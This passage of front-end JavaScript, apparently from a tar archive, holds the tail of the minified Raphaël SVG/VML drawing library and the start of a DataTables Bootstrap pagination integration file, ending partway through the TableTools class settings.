e=q("circle");a.canvas&&a.canvas.appendChild(e);var f=new z(e,a);f.attrs={cx:b,cy:c,r:d,fill:"none",stroke:"#000"},f.type="circle",q(e,f.attrs);return f},a._engine.rect=function(a,b,c,d,e,f){var g=q("rect");a.canvas&&a.canvas.appendChild(g);var h=new z(g,a);h.attrs={x:b,y:c,width:d,height:e,r:f||0,rx:f||0,ry:f||0,fill:"none",stroke:"#000"},h.type="rect",q(g,h.attrs);return h},a._engine.ellipse=function(a,b,c,d,e){var f=q("ellipse");a.canvas&&a.canvas.appendChild(f);var g=new z(f,a);g.attrs={cx:b,cy:c,rx:d,ry:e,fill:"none",stroke:"#000"},g.type="ellipse",q(f,g.attrs);return g},a._engine.image=function(a,b,c,d,e,f){var g=q("image");q(g,{x:c,y:d,width:e,height:f,preserveAspectRatio:"none"}),g.setAttributeNS(n,"href",b),a.canvas&&a.canvas.appendChild(g);var h=new z(g,a);h.attrs={x:c,y:d,width:e,height:f,src:b},h.type="image";return h},a._engine.text=function(b,c,d,e){var f=q("text");b.canvas&&b.canvas.appendChild(f);var g=new z(f,b);g.attrs={x:c,y:d,"text-anchor":"middle",text:e,font:a._availableAttrs.font,stroke:"none",fill:"#000"},g.type="text",w(g,g.attrs);return g},a._engine.setSize=function(a,b){this.width=a||this.width,this.height=b||this.height,this.canvas.setAttribute("width",this.width),this.canvas.setAttribute("height",this.height),this._viewBox&&this.setViewBox.apply(this,this._viewBox);return this},a._engine.create=function(){var b=a._getContainer.apply(0,arguments),c=b&&b.container,d=b.x,e=b.y,f=b.width,g=b.height;if(!c)throw new Error("SVG container not found.");var h=q("svg"),i="overflow:hidden;",j;d=d||0,e=e||0,f=f||512,g=g||342,q(h,{height:g,version:1.1,width:f,xmlns:"http://www.w3.org/2000/svg"}),c==1?(h.style.cssText=i+"position:absolute;left:"+d+"px;top:"+e+"px",a._g.doc.body.appendChild(h),j=1):(h.style.cssText=i+"position:relative",c.firstChild?c.insertBefore(h,c.firstChild):c.appendChild(h)),c=new a._Paper,c.width=f,c.height=g,c.canvas=h,c.clear(),c._left=c._top=0,j&&(c.renderfix=function(){}),c.renderfix();return c},a._engine.setViewBox=function(a,b,c,d,e){k("raphael.setViewBox",this,this._viewBox,[a,b,c,d,e]);var f=g(c/this.width,d/this.height),h=this.top,i=e?"meet":"xMinYMin",j,l;a==null?(this._vbSize&&(f=1),delete this._vbSize,j="0 0 "+this.width+m+this.height):(this._vbSize=f,j=a+m+b+m+c+m+d),q(this.canvas,{viewBox:j,preserveAspectRatio:i});while(f&&h)l="stroke-width"in h.attrs?h.attrs["stroke-width"]:1,h.attr({"stroke-width":l}),h._.dirty=1,h._.dirtyT=1,h=h.prev;this._viewBox=[a,b,c,d,!!e];return this},a.prototype.renderfix=function(){var a=this.canvas,b=a.style,c;try{c=a.getScreenCTM()||a.createSVGMatrix()}catch(d){c=a.createSVGMatrix()}var e=-c.e%1,f=-c.f%1;if(e||f)e&&(this._left=(this._left+e)%1,b.left=this._left+"px"),f&&(this._top=(this._top+f)%1,b.top=this._top+"px")},a.prototype.clear=function(){a.eve("raphael.clear",this);var b=this.canvas;while(b.firstChild)b.removeChild(b.firstChild);this.bottom=this.top=null,(this.desc=q("desc")).appendChild(a._g.doc.createTextNode("Created with Raphaël "+a.version)),b.appendChild(this.desc),b.appendChild(this.defs=q("defs"))},a.prototype.remove=function(){k("raphael.remove",this),this.canvas.parentNode&&this.canvas.parentNode.removeChild(this.canvas);for(var b in this)this[b]=typeof this[b]=="function"?a._removedFactory(b):null};var B=a.st;for(var C in A)A[b](C)&&!B[b](C)&&(B[C]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a].apply(c,b)})}}(C))}(window.Raphael),window.Raphael.vml&&function(a){var b="hasOwnProperty",c=String,d=parseFloat,e=Math,f=e.round,g=e.max,h=e.min,i=e.abs,j="fill",k=/[, ]+/,l=a.eve,m=" progid:DXImageTransform.Microsoft",n=" ",o="",p={M:"m",L:"l",C:"c",Z:"x",m:"t",l:"r",c:"v",z:"x"},q=/([clmz]),?([^clmz]*)/gi,r=/ progid:\S+Blur\([^\)]+\)/g,s=/-?[^,\s-]+/g,t="position:absolute;left:0;top:0;width:1px;height:1px",u=21600,v={path:1,rect:1,image:1},w={circle:1,ellipse:1},x=function(b){var d=/[ahqstv]/ig,e=a._pathToAbsolute;c(b).match(d)&&(e=a._path2curve),d=/[clmz]/g;if(e==a._pathToAbsolute&&!c(b).match(d)){var g=c(b).replace(q,function(a,b,c){var d=[],e=b.toLowerCase()=="m",g=p[b];c.replace(s,function(a){e&&d.length==2&&(g+=d+p[b=="m"?"l":"L"],d=[]),d.push(f(a*u))});return g+d});return g}var h=e(b),i,j;g=[];for(var k=0,l=h.length;k<l;k++){i=h[k],j=h[k][0].toLowerCase(),j=="z"&&(j="x");for(var m=1,r=i.length;m<r;m++)j+=f(i[m]*u)+(m!=r-1?",":o);g.push(j)}return g.join(n)},y=function(b,c,d){var e=a.matrix();e.rotate(-b,.5,.5);return{dx:e.x(c,d),dy:e.y(c,d)}},z=function(a,b,c,d,e,f){var g=a._,h=a.matrix,k=g.fillpos,l=a.node,m=l.style,o=1,p="",q,r=u/b,s=u/c;m.visibility="hidden";if(!!b&&!!c){l.coordsize=i(r)+n+i(s),m.rotation=f*(b*c<0?-1:1);if(f){var t=y(f,d,e);d=t.dx,e=t.dy}b<0&&(p+="x"),c<0&&(p+=" y")&&(o=-1),m.flip=p,l.coordorigin=d*-r+n+e*-s;if(k||g.fillsize){var v=l.getElementsByTagName(j);v=v&&v[0],l.removeChild(v),k&&(t=y(f,h.x(k[0],k[1]),h.y(k[0],k[1])),v.position=t.dx*o+n+t.dy*o),g.fillsize&&(v.size=g.fillsize[0]*i(b)+n+g.fillsize[1]*i(c)),l.appendChild(v)}m.visibility="visible"}};a.toString=function(){return"Your browser doesn’t support SVG. Falling down to VML.\nYou are running Raphaël "+this.version};var A=function(a,b,d){var e=c(b).toLowerCase().split("-"),f=d?"end":"start",g=e.length,h="classic",i="medium",j="medium";while(g--)switch(e[g]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":h=e[g];break;case"wide":case"narrow":j=e[g];break;case"long":case"short":i=e[g]}var k=a.node.getElementsByTagName("stroke")[0];k[f+"arrow"]=h,k[f+"arrowlength"]=i,k[f+"arrowwidth"]=j},B=function(e,i){e.attrs=e.attrs||{};var l=e.node,m=e.attrs,p=l.style,q,r=v[e.type]&&(i.x!=m.x||i.y!=m.y||i.width!=m.width||i.height!=m.height||i.cx!=m.cx||i.cy!=m.cy||i.rx!=m.rx||i.ry!=m.ry||i.r!=m.r),s=w[e.type]&&(m.cx!=i.cx||m.cy!=i.cy||m.r!=i.r||m.rx!=i.rx||m.ry!=i.ry),t=e;for(var y in i)i[b](y)&&(m[y]=i[y]);r&&(m.path=a._getPath[e.type](e),e._.dirty=1),i.href&&(l.href=i.href),i.title&&(l.title=i.title),i.target&&(l.target=i.target),i.cursor&&(p.cursor=i.cursor),"blur"in i&&e.blur(i.blur);if(i.path&&e.type=="path"||r)l.path=x(~c(m.path).toLowerCase().indexOf("r")?a._pathToAbsolute(m.path):m.path),e.type=="image"&&(e._.fillpos=[m.x,m.y],e._.fillsize=[m.width,m.height],z(e,1,1,0,0,0));"transform"in i&&e.transform(i.transform);if(s){var B=+m.cx,D=+m.cy,E=+m.rx||+m.r||0,G=+m.ry||+m.r||0;l.path=a.format("ar{0},{1},{2},{3},{4},{1},{4},{1}x",f((B-E)*u),f((D-G)*u),f((B+E)*u),f((D+G)*u),f(B*u))}if("clip-rect"in i){var H=c(i["clip-rect"]).split(k);if(H.length==4){H[2]=+H[2]+ +H[0],H[3]=+H[3]+ +H[1];var I=l.clipRect||a._g.doc.createElement("div"),J=I.style;J.clip=a.format("rect({1}px {2}px {3}px {0}px)",H),l.clipRect||(J.position="absolute",J.top=0,J.left=0,J.width=e.paper.width+"px",J.height=e.paper.height+"px",l.parentNode.insertBefore(I,l),I.appendChild(l),l.clipRect=I)}i["clip-rect"]||l.clipRect&&(l.clipRect.style.clip="auto")}if(e.textpath){var K=e.textpath.style;i.font&&(K.font=i.font),i["font-family"]&&(K.fontFamily='"'+i["font-family"].split(",")[0].replace(/^['"]+|['"]+$/g,o)+'"'),i["font-size"]&&(K.fontSize=i["font-size"]),i["font-weight"]&&(K.fontWeight=i["font-weight"]),i["font-style"]&&(K.fontStyle=i["font-style"])}"arrow-start"in i&&A(t,i["arrow-start"]),"arrow-end"in i&&A(t,i["arrow-end"],1);if(i.opacity!=null||i["stroke-width"]!=null||i.fill!=null||i.src!=null||i.stroke!=null||i["stroke-width"]!=null||i["stroke-opacity"]!=null||i["fill-opacity"]!=null||i["stroke-dasharray"]!=null||i["stroke-miterlimit"]!=null||i["stroke-linejoin"]!=null||i["stroke-linecap"]!=null){var L=l.getElementsByTagName(j),M=!1;L=L&&L[0],!L&&(M=L=F(j)),e.type=="image"&&i.src&&(L.src=i.src),i.fill&&(L.on=!0);if(L.on==null||i.fill=="none"||i.fill===null)L.on=!1;if(L.on&&i.fill){var N=c(i.fill).match(a._ISURL);if(N){L.parentNode==l&&l.removeChild(L),L.rotate=!0,L.src=N[1],L.type="tile";var O=e.getBBox(1);L.position=O.x+n+O.y,e._.fillpos=[O.x,O.y],a._preload(N[1],function(){e._.fillsize=[this.offsetWidth,this.offsetHeight]})}else L.color=a.getRGB(i.fill).hex,L.src=o,L.type="solid",a.getRGB(i.fill).error&&(t.type in{circle:1,ellipse:1}||c(i.fill).charAt()!="r")&&C(t,i.fill,L)&&(m.fill="none",m.gradient=i.fill,L.rotate=!1)}if("fill-opacity"in i||"opacity"in i){var P=((+m["fill-opacity"]+1||2)-1)*((+m.opacity+1||2)-1)*((+a.getRGB(i.fill).o+1||2)-1);P=h(g(P,0),1),L.opacity=P,L.src&&(L.color="none")}l.appendChild(L);var Q=l.getElementsByTagName("stroke")&&l.getElementsByTagName("stroke")[0],T=!1;!Q&&(T=Q=F("stroke"));if(i.stroke&&i.stroke!="none"||i["stroke-width"]||i["stroke-opacity"]!=null||i["stroke-dasharray"]||i["stroke-miterlimit"]||i["stroke-linejoin"]||i["stroke-linecap"])Q.on=!0;(i.stroke=="none"||i.stroke===null||Q.on==null||i.stroke==0||i["stroke-width"]==0)&&(Q.on=!1);var U=a.getRGB(i.stroke);Q.on&&i.stroke&&(Q.color=U.hex),P=((+m["stroke-opacity"]+1||2)-1)*((+m.opacity+1||2)-1)*((+U.o+1||2)-1);var V=(d(i["stroke-width"])||1)*.75;P=h(g(P,0),1),i["stroke-width"]==null&&(V=m["stroke-width"]),i["stroke-width"]&&(Q.weight=V),V&&V<1&&(P*=V)&&(Q.weight=1),Q.opacity=P,i["stroke-linejoin"]&&(Q.joinstyle=i["stroke-linejoin"]||"miter"),Q.miterlimit=i["stroke-miterlimit"]||8,i["stroke-linecap"]&&(Q.endcap=i["stroke-linecap"]=="butt"?"flat":i["stroke-linecap"]=="square"?"square":"round");if(i["stroke-dasharray"]){var W={"-":"shortdash",".":"shortdot","-.":"shortdashdot","-..":"shortdashdotdot",". ":"dot","- ":"dash","--":"longdash","- .":"dashdot","--.":"longdashdot","--..":"longdashdotdot"};Q.dashstyle=W[b](i["stroke-dasharray"])?W[i["stroke-dasharray"]]:o}T&&l.appendChild(Q)}if(t.type=="text"){t.paper.canvas.style.display=o;var X=t.paper.span,Y=100,Z=m.font&&m.font.match(/\d+(?:\.\d*)?(?=px)/);p=X.style,m.font&&(p.font=m.font),m["font-family"]&&(p.fontFamily=m["font-family"]),m["font-weight"]&&(p.fontWeight=m["font-weight"]),m["font-style"]&&(p.fontStyle=m["font-style"]),Z=d(m["font-size"]||Z&&Z[0])||10,p.fontSize=Z*Y+"px",t.textpath.string&&(X.innerHTML=c(t.textpath.string).replace(/</g,"&#60;").replace(/&/g,"&#38;").replace(/\n/g,"<br>"));var $=X.getBoundingClientRect();t.W=m.w=($.right-$.left)/Y,t.H=m.h=($.bottom-$.top)/Y,t.X=m.x,t.Y=m.y+t.H/2,("x"in i||"y"in i)&&(t.path.v=a.format("m{0},{1}l{2},{1}",f(m.x*u),f(m.y*u),f(m.x*u)+1));var _=["x","y","text","font","font-family","font-weight","font-style","font-size"];for(var ba=0,bb=_.length;ba<bb;ba++)if(_[ba]in i){t._.dirty=1;break}switch(m["text-anchor"]){case"start":t.textpath.style["v-text-align"]="left",t.bbx=t.W/2;break;case"end":t.textpath.style["v-text-align"]="right",t.bbx=-t.W/2;break;default:t.textpath.style["v-text-align"]="center",t.bbx=0}t.textpath.style["v-text-kern"]=!0}},C=function(b,f,g){b.attrs=b.attrs||{};var h=b.attrs,i=Math.pow,j,k,l="linear",m=".5 .5";b.attrs.gradient=f,f=c(f).replace(a._radial_gradient,function(a,b,c){l="radial",b&&c&&(b=d(b),c=d(c),i(b-.5,2)+i(c-.5,2)>.25&&(c=e.sqrt(.25-i(b-.5,2))*((c>.5)*2-1)+.5),m=b+n+c);return o}),f=f.split(/\s*\-\s*/);if(l=="linear"){var p=f.shift();p=-d(p);if(isNaN(p))return null}var q=a._parseDots(f);if(!q)return null;b=b.shape||b.node;if(q.length){b.removeChild(g),g.on=!0,g.method="none",g.color=q[0].color,g.color2=q[q.length-1].color;var r=[];for(var s=0,t=q.length;s<t;s++)q[s].offset&&r.push(q[s].offset+n+q[s].color);g.colors=r.length?r.join():"0% "+g.color,l=="radial"?(g.type="gradientTitle",g.focus="100%",g.focussize="0 0",g.focusposition=m,g.angle=0):(g.type="gradient",g.angle=(270-p)%360),b.appendChild(g)}return 1},D=function(b,c){this[0]=this.node=b,b.raphael=!0,this.id=a._oid++,b.raphaelid=this.id,this.X=0,this.Y=0,this.attrs={},this.paper=c,this.matrix=a.matrix(),this._={transform:[],sx:1,sy:1,dx:0,dy:0,deg:0,dirty:1,dirtyT:1},!c.bottom&&(c.bottom=this),this.prev=c.top,c.top&&(c.top.next=this),c.top=this,this.next=null},E=a.el;D.prototype=E,E.constructor=D,E.transform=function(b){if(b==null)return this._.transform;var d=this.paper._viewBoxShift,e=d?"s"+[d.scale,d.scale]+"-1-1t"+[d.dx,d.dy]:o,f;d&&(f=b=c(b).replace(/\.{3}|\u2026/g,this._.transform||o)),a._extractTransform(this,e+b);var g=this.matrix.clone(),h=this.skew,i=this.node,j,k=~c(this.attrs.fill).indexOf("-"),l=!c(this.attrs.fill).indexOf("url(");g.translate(-0.5,-0.5);if(l||k||this.type=="image"){h.matrix="1 0 0 1",h.offset="0 0",j=g.split();if(k&&j.noRotation||!j.isSimple){i.style.filter=g.toFilter();var m=this.getBBox(),p=this.getBBox(1),q=m.x-p.x,r=m.y-p.y;i.coordorigin=q*-u+n+r*-u,z(this,1,1,q,r,0)}else i.style.filter=o,z(this,j.scalex,j.scaley,j.dx,j.dy,j.rotate)}else i.style.filter=o,h.matrix=c(g),h.offset=g.offset();f&&(this._.transform=f);return this},E.rotate=function(a,b,e){if(this.removed)return this;if(a!=null){a=c(a).split(k),a.length-1&&(b=d(a[1]),e=d(a[2])),a=d(a[0]),e==null&&(b=e);if(b==null||e==null){var f=this.getBBox(1);b=f.x+f.width/2,e=f.y+f.height/2}this._.dirtyT=1,this.transform(this._.transform.concat([["r",a,b,e]]));return this}},E.translate=function(a,b){if(this.removed)return this;a=c(a).split(k),a.length-1&&(b=d(a[1])),a=d(a[0])||0,b=+b||0,this._.bbox&&(this._.bbox.x+=a,this._.bbox.y+=b),this.transform(this._.transform.concat([["t",a,b]]));return this},E.scale=function(a,b,e,f){if(this.removed)return this;a=c(a).split(k),a.length-1&&(b=d(a[1]),e=d(a[2]),f=d(a[3]),isNaN(e)&&(e=null),isNaN(f)&&(f=null)),a=d(a[0]),b==null&&(b=a),f==null&&(e=f);if(e==null||f==null)var g=this.getBBox(1);e=e==null?g.x+g.width/2:e,f=f==null?g.y+g.height/2:f,this.transform(this._.transform.concat([["s",a,b,e,f]])),this._.dirtyT=1;return this},E.hide=function(){!this.removed&&(this.node.style.display="none");return this},E.show=function(){!this.removed&&(this.node.style.display=o);return this},E._getBBox=function(){if(this.removed)return{};return{x:this.X+(this.bbx||0)-this.W/2,y:this.Y-this.H,width:this.W,height:this.H}},E.remove=function(){if(!this.removed&&!!this.node.parentNode){this.paper.__set__&&this.paper.__set__.exclude(this),a.eve.unbind("raphael.*.*."+this.id),a._tear(this,this.paper),this.node.parentNode.removeChild(this.node),this.shape&&this.shape.parentNode.removeChild(this.shape);for(var b in this)this[b]=typeof this[b]=="function"?a._removedFactory(b):null;this.removed=!0}},E.attr=function(c,d){if(this.removed)return this;if(c==null){var e={};for(var f in this.attrs)this.attrs[b](f)&&(e[f]=this.attrs[f]);e.gradient&&e.fill=="none"&&(e.fill=e.gradient)&&delete e.gradient,e.transform=this._.transform;return e}if(d==null&&a.is(c,"string")){if(c==j&&this.attrs.fill=="none"&&this.attrs.gradient)return this.attrs.gradient;var g=c.split(k),h={};for(var i=0,m=g.length;i<m;i++)c=g[i],c in this.attrs?h[c]=this.attrs[c]:a.is(this.paper.customAttributes[c],"function")?h[c]=this.paper.customAttributes[c].def:h[c]=a._availableAttrs[c];return m-1?h:h[g[0]]}if(this.attrs&&d==null&&a.is(c,"array")){h={};for(i=0,m=c.length;i<m;i++)h[c[i]]=this.attr(c[i]);return h}var n;d!=null&&(n={},n[c]=d),d==null&&a.is(c,"object")&&(n=c);for(var o in n)l("raphael.attr."+o+"."+this.id,this,n[o]);if(n){for(o in this.paper.customAttributes)if(this.paper.customAttributes[b](o)&&n[b](o)&&a.is(this.paper.customAttributes[o],"function")){var p=this.paper.customAttributes[o].apply(this,[].concat(n[o]));this.attrs[o]=n[o];for(var q in p)p[b](q)&&(n[q]=p[q])}n.text&&this.type=="text"&&(this.textpath.string=n.text),B(this,n)}return this},E.toFront=function(){!this.removed&&this.node.parentNode.appendChild(this.node),this.paper&&this.paper.top!=this&&a._tofront(this,this.paper);return this},E.toBack=function(){if(this.removed)return this;this.node.parentNode.firstChild!=this.node&&(this.node.parentNode.insertBefore(this.node,this.node.parentNode.firstChild),a._toback(this,this.paper));return this},E.insertAfter=function(b){if(this.removed)return this;b.constructor==a.st.constructor&&(b=b[b.length-1]),b.node.nextSibling?b.node.parentNode.insertBefore(this.node,b.node.nextSibling):b.node.parentNode.appendChild(this.node),a._insertafter(this,b,this.paper);return this},E.insertBefore=function(b){if(this.removed)return this;b.constructor==a.st.constructor&&(b=b[0]),b.node.parentNode.insertBefore(this.node,b.node),a._insertbefore(this,b,this.paper);return this},E.blur=function(b){var c=this.node.runtimeStyle,d=c.filter;d=d.replace(r,o),+b!==0?(this.attrs.blur=b,c.filter=d+n+m+".Blur(pixelradius="+(+b||1.5)+")",c.margin=a.format("-{0}px 0 0 -{0}px",f(+b||1.5))):(c.filter=d,c.margin=0,delete this.attrs.blur)},a._engine.path=function(a,b){var c=F("shape");c.style.cssText=t,c.coordsize=u+n+u,c.coordorigin=b.coordorigin;var d=new D(c,b),e={fill:"none",stroke:"#000"};a&&(e.path=a),d.type="path",d.path=[],d.Path=o,B(d,e),b.canvas.appendChild(c);var f=F("skew");f.on=!0,c.appendChild(f),d.skew=f,d.transform(o);return d},a._engine.rect=function(b,c,d,e,f,g){var h=a._rectPath(c,d,e,f,g),i=b.path(h),j=i.attrs;i.X=j.x=c,i.Y=j.y=d,i.W=j.width=e,i.H=j.height=f,j.r=g,j.path=h,i.type="rect";return i},a._engine.ellipse=function(a,b,c,d,e){var f=a.path(),g=f.attrs;f.X=b-d,f.Y=c-e,f.W=d*2,f.H=e*2,f.type="ellipse",B(f,{cx:b,cy:c,rx:d,ry:e});return f},a._engine.circle=function(a,b,c,d){var e=a.path(),f=e.attrs;e.X=b-d,e.Y=c-d,e.W=e.H=d*2,e.type="circle",B(e,{cx:b,cy:c,r:d});return e},a._engine.image=function(b,c,d,e,f,g){var h=a._rectPath(d,e,f,g),i=b.path(h).attr({stroke:"none"}),k=i.attrs,l=i.node,m=l.getElementsByTagName(j)[0];k.src=c,i.X=k.x=d,i.Y=k.y=e,i.W=k.width=f,i.H=k.height=g,k.path=h,i.type="image",m.parentNode==l&&l.removeChild(m),m.rotate=!0,m.src=c,m.type="tile",i._.fillpos=[d,e],i._.fillsize=[f,g],l.appendChild(m),z(i,1,1,0,0,0);return i},a._engine.text=function(b,d,e,g){var h=F("shape"),i=F("path"),j=F("textpath");d=d||0,e=e||0,g=g||"",i.v=a.format("m{0},{1}l{2},{1}",f(d*u),f(e*u),f(d*u)+1),i.textpathok=!0,j.string=c(g),j.on=!0,h.style.cssText=t,h.coordsize=u+n+u,h.coordorigin="0 0";var k=new D(h,b),l={fill:"#000",stroke:"none",font:a._availableAttrs.font,text:g};k.shape=h,k.path=i,k.textpath=j,k.type="text",k.attrs.text=c(g),k.attrs.x=d,k.attrs.y=e,k.attrs.w=1,k.attrs.h=1,B(k,l),h.appendChild(j),h.appendChild(i),b.canvas.appendChild(h);var m=F("skew");m.on=!0,h.appendChild(m),k.skew=m,k.transform(o);return k},a._engine.setSize=function(b,c){var d=this.canvas.style;this.width=b,this.height=c,b==+b&&(b+="px"),c==+c&&(c+="px"),d.width=b,d.height=c,d.clip="rect(0 "+b+" "+c+" 0)",this._viewBox&&a._engine.setViewBox.apply(this,this._viewBox);return this},a._engine.setViewBox=function(b,c,d,e,f){a.eve("raphael.setViewBox",this,this._viewBox,[b,c,d,e,f]);var h=this.width,i=this.height,j=1/g(d/h,e/i),k,l;f&&(k=i/e,l=h/d,d*k<h&&(b-=(h-d*k)/2/k),e*l<i&&(c-=(i-e*l)/2/l)),this._viewBox=[b,c,d,e,!!f],this._viewBoxShift={dx:-b,dy:-c,scale:j},this.forEach(function(a){a.transform("...")});return this};var F;a._engine.initWin=function(a){var b=a.document;b.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)");try{!b.namespaces.rvml&&b.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),F=function(a){return b.createElement("<rvml:"+a+' class="rvml">')}}catch(c){F=function(a){return b.createElement("<"+a+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}},a._engine.initWin(a._g.win),a._engine.create=function(){var b=a._getContainer.apply(0,arguments),c=b.container,d=b.height,e,f=b.width,g=b.x,h=b.y;if(!c)throw new Error("VML container not found.");var i=new a._Paper,j=i.canvas=a._g.doc.createElement("div"),k=j.style;g=g||0,h=h||0,f=f||512,d=d||342,i.width=f,i.height=d,f==+f&&(f+="px"),d==+d&&(d+="px"),i.coordsize=u*1e3+n+u*1e3,i.coordorigin="0 0",i.span=a._g.doc.createElement("span"),i.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;",j.appendChild(i.span),k.cssText=a.format("top:0;left:0;width:{0};height:{1};display:inline-block;position:relative;clip:rect(0 {0} {1} 0);overflow:hidden",f,d),c==1?(a._g.doc.body.appendChild(j),k.left=g+"px",k.top=h+"px",k.position="absolute"):c.firstChild?c.insertBefore(j,c.firstChild):c.appendChild(j),i.renderfix=function(){};return i},a.prototype.clear=function(){a.eve("raphael.clear",this),this.canvas.innerHTML=o,this.span=a._g.doc.createElement("span"),this.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;display:inline;",this.canvas.appendChild(this.span),this.bottom=this.top=null},a.prototype.remove=function(){a.eve("raphael.remove",this),this.canvas.parentNode.removeChild(this.canvas);for(var b in this)this[b]=typeof this[b]=="function"?a._removedFactory(b):null;return!0};var G=a.st;for(var H in E)E[b](H)&&!G[b](H)&&(G[H]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a].apply(c,b)})}}(H))}(window.Raphael)js/dataTables.bootstrap.js000060400000015400150710775200011576 0ustar00/* Set the defaults for DataTables initialisation */
$.extend( true, $.fn.dataTable.defaults, {
	"sDom":
		"<'row'<'col-xs-6 no-space-top'l><'col-xs-6 no-space-top'f>r>"+
		"t"+
		"<'row'<'col-xs-6 no-space-top'i><'col-xs-6 no-space-top'p>>",
	"oLanguage": {
		"sLengthMenu": "_MENU_ records per page"
	}
} );


/* Default class modification */
$.extend( $.fn.dataTableExt.oStdClasses, {
	"sWrapper": "dataTables_wrapper form-inline",
	"sFilterInput": "form-control input-sm",
	"sLengthSelect": "form-control input-sm"
} );

// In 1.10 we use the pagination renderers to draw the Bootstrap paging,
// rather than  custom plug-in
if ( $.fn.dataTable.Api ) {
	$.fn.dataTable.defaults.renderer = 'bootstrap';
	$.fn.dataTable.ext.renderer.pageButton.bootstrap = function ( settings, host, idx, buttons, page, pages ) {
		var api = new $.fn.dataTable.Api( settings );
		var classes = settings.oClasses;
		var lang = settings.oLanguage.oPaginate;
		var btnDisplay, btnClass;

		var attach = function( container, buttons ) {
			var i, ien, node, button;
			var clickHandler = function ( e ) {
				e.preventDefault();
				if ( e.data.action !== 'ellipsis' ) {
					api.page( e.data.action ).draw( false );
				}
			};

			for ( i=0, ien=buttons.length ; i<ien ; i++ ) {
				button = buttons[i];

				if ( $.isArray( button ) ) {
					attach( container, button );
				}
				else {
					btnDisplay = '';
					btnClass = '';

					switch ( button ) {
						case 'ellipsis':
							btnDisplay = '&hellip;';
							btnClass = 'disabled';
							break;

						case 'first':
							btnDisplay = lang.sFirst;
							btnClass = button + (page > 0 ?
								'' : ' disabled');
							break;

						case 'previous':
							btnDisplay = lang.sPrevious;
							btnClass = button + (page > 0 ?
								'' : ' disabled');
							break;

						case 'next':
							btnDisplay = lang.sNext;
							btnClass = button + (page < pages-1 ?
								'' : ' disabled');
							break;

						case 'last':
							btnDisplay = lang.sLast;
							btnClass = button + (page < pages-1 ?
								'' : ' disabled');
							break;

						default:
							btnDisplay = button + 1;
							btnClass = page === button ?
								'active' : '';
							break;
					}

					if ( btnDisplay ) {
						node = $('<li>', {
								'class': classes.sPageButton+' '+btnClass,
								'aria-controls': settings.sTableId,
								'tabindex': settings.iTabIndex,
								'id': idx === 0 && typeof button === 'string' ?
									settings.sTableId +'_'+ button :
									null
							} )
							.append( $('<a>', {
									'href': '#'
								} )
								.html( btnDisplay )
							)
							.appendTo( container );

						settings.oApi._fnBindAction(
							node, {action: button}, clickHandler
						);
					}
				}
			}
		};

		attach(
			$(host).empty().html('<ul class="pagination"/>').children('ul'),
			buttons
		);
	}
}
else {
	// Integration for 1.9-
	$.fn.dataTable.defaults.sPaginationType = 'bootstrap';

	/* API method to get paging information */
	$.fn.dataTableExt.oApi.fnPagingInfo = function ( oSettings )
	{
		return {
			"iStart":         oSettings._iDisplayStart,
			"iEnd":           oSettings.fnDisplayEnd(),
			"iLength":        oSettings._iDisplayLength,
			"iTotal":         oSettings.fnRecordsTotal(),
			"iFilteredTotal": oSettings.fnRecordsDisplay(),
			"iPage":          oSettings._iDisplayLength === -1 ?
				0 : Math.ceil( oSettings._iDisplayStart / oSettings._iDisplayLength ),
			"iTotalPages":    oSettings._iDisplayLength === -1 ?
				0 : Math.ceil( oSettings.fnRecordsDisplay() / oSettings._iDisplayLength )
		};
	};

	/* Bootstrap style pagination control */
	$.extend( $.fn.dataTableExt.oPagination, {
		"bootstrap": {
			"fnInit": function( oSettings, nPaging, fnDraw ) {
				var oLang = oSettings.oLanguage.oPaginate;
				var fnClickHandler = function ( e ) {
					e.preventDefault();
					if ( oSettings.oApi._fnPageChange(oSettings, e.data.action) ) {
						fnDraw( oSettings );
					}
				};

				$(nPaging).append(
					'<ul class="pagination">'+
						'<li class="prev disabled"><a href="#">&larr; '+oLang.sPrevious+'</a></li>'+
						'<li class="next disabled"><a href="#">'+oLang.sNext+' &rarr; </a></li>'+
					'</ul>'
				);
				var els = $('a', nPaging);
				$(els[0]).bind( 'click.DT', { action: "previous" }, fnClickHandler );
				$(els[1]).bind( 'click.DT', { action: "next" }, fnClickHandler );
			},

			"fnUpdate": function ( oSettings, fnDraw ) {
				var iListLength = 5;
				var oPaging = oSettings.oInstance.fnPagingInfo();
				var an = oSettings.aanFeatures.p;
				var i, ien, j, sClass, iStart, iEnd, iHalf=Math.floor(iListLength/2);

				if ( oPaging.iTotalPages < iListLength) {
					iStart = 1;
					iEnd = oPaging.iTotalPages;
				}
				else if ( oPaging.iPage <= iHalf ) {
					iStart = 1;
					iEnd = iListLength;
				} else if ( oPaging.iPage >= (oPaging.iTotalPages-iHalf) ) {
					iStart = oPaging.iTotalPages - iListLength + 1;
					iEnd = oPaging.iTotalPages;
				} else {
					iStart = oPaging.iPage - iHalf + 1;
					iEnd = iStart + iListLength - 1;
				}

				for ( i=0, ien=an.length ; i<ien ; i++ ) {
					// Remove the middle elements
					$('li:gt(0)', an[i]).filter(':not(:last)').remove();

					// Add the new list items and their event handlers
					for ( j=iStart ; j<=iEnd ; j++ ) {
						sClass = (j==oPaging.iPage+1) ? 'class="active"' : '';
						$('<li '+sClass+'><a href="#">'+j+'</a></li>')
							.insertBefore( $('li:last', an[i])[0] )
							.bind('click', function (e) {
								e.preventDefault();
								oSettings._iDisplayStart = (parseInt($('a', this).text(),10)-1) * oPaging.iLength;
								fnDraw( oSettings );
							} );
					}

					// Add / remove disabled classes from the static elements
					if ( oPaging.iPage === 0 ) {
						$('li:first', an[i]).addClass('disabled');
					} else {
						$('li:first', an[i]).removeClass('disabled');
					}

					if ( oPaging.iPage === oPaging.iTotalPages-1 || oPaging.iTotalPages === 0 ) {
						$('li:last', an[i]).addClass('disabled');
					} else {
						$('li:last', an[i]).removeClass('disabled');
					}
				}
			}
		}
	} );
}


/*
 * TableTools Bootstrap compatibility
 * Required TableTools 2.1+
 */
if ( $.fn.DataTable.TableTools ) {
	// Set the classes that TableTools uses to something suitable for Bootstrap
	$.extend( true, $.fn.DataTable.TableTools.classes, {
		"container": "DTTT btn-group",
		"buttons": {
			"normal": "btn btn-default",
